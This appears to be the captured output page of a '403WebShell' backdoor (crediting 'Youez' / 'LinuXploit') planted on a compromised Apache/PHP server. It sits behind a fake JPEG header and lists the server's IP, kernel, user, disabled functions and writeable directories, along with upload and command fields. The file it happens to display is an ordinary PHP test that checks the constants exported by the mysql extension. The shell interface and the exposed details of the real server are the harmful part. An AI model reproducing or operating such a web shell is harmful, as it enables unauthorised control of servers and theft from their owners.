????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 13.58.192.154
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/home/b8009/php-5.6.22/ext/mysql/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/home/b8009/php-5.6.22/ext/mysql/tests/mysql_constants.phpt
--TEST--
Constants exported by ext/mysql
--SKIPIF--
<?php
require_once('skipif.inc');
require_once('skipifconnectfailure.inc');
?>
--FILE--
<?php
require("connect.inc");
require("table.inc");

$constants = get_defined_constants(true);
sort($constants);

$expected_constants = array(
	'MYSQL_ASSOC'                   => true,
	'MYSQL_NUM'                     => true,
	'MYSQL_BOTH'                    => true,
	'MYSQL_CLIENT_COMPRESS'         => true,
	'MYSQL_CLIENT_INTERACTIVE'      => true,
	'MYSQL_CLIENT_IGNORE_SPACE'     => true,
);

$version = mysql_get_server_info($link);
if (!preg_match('@(\d+)\.(\d+)\.(\d+)@ism', $version, $matches))
	printf("[001] Cannot get server version\n");
$version = ($matches[1] * 100) + ($matches[2] * 10) + $matches[3];

if ($version > 400) {
	$expected_constants = array_merge($expected_constants, array(
					"MYSQL_CLIENT_SSL"                => true,
					));
}


$unexpected_constants = array();

foreach ($constants as $group => $consts) {
	foreach ($consts as $name => $value) {
		if (stristr($name, 'mysql') && !preg_match("/^mysql([^_]+)_/iu", $name)) {
			$name = strtoupper($name);
			if (isset($expected_constants[$name])) {
				unset($expected_constants[$name]);
			} else {
				$unexpected_constants[$name] = $name;
			}
		}
	}
}

if (!empty($unexpected_constants)) {
	printf("Dumping list of unexpected constants\n");
	var_dump($unexpected_constants);
}

if (!empty($expected_constants)) {
	printf("Dumping list of missing constants\n");
	var_dump($expected_constants);
}

print "done!";
?>
--EXPECTF--
Deprecated: mysql_connect(): The mysql extension is deprecated and will be removed in the future: use mysqli or PDO instead in %s on line %d
done!

Youez - 2016 - github.com/yon3zu
LinuXploit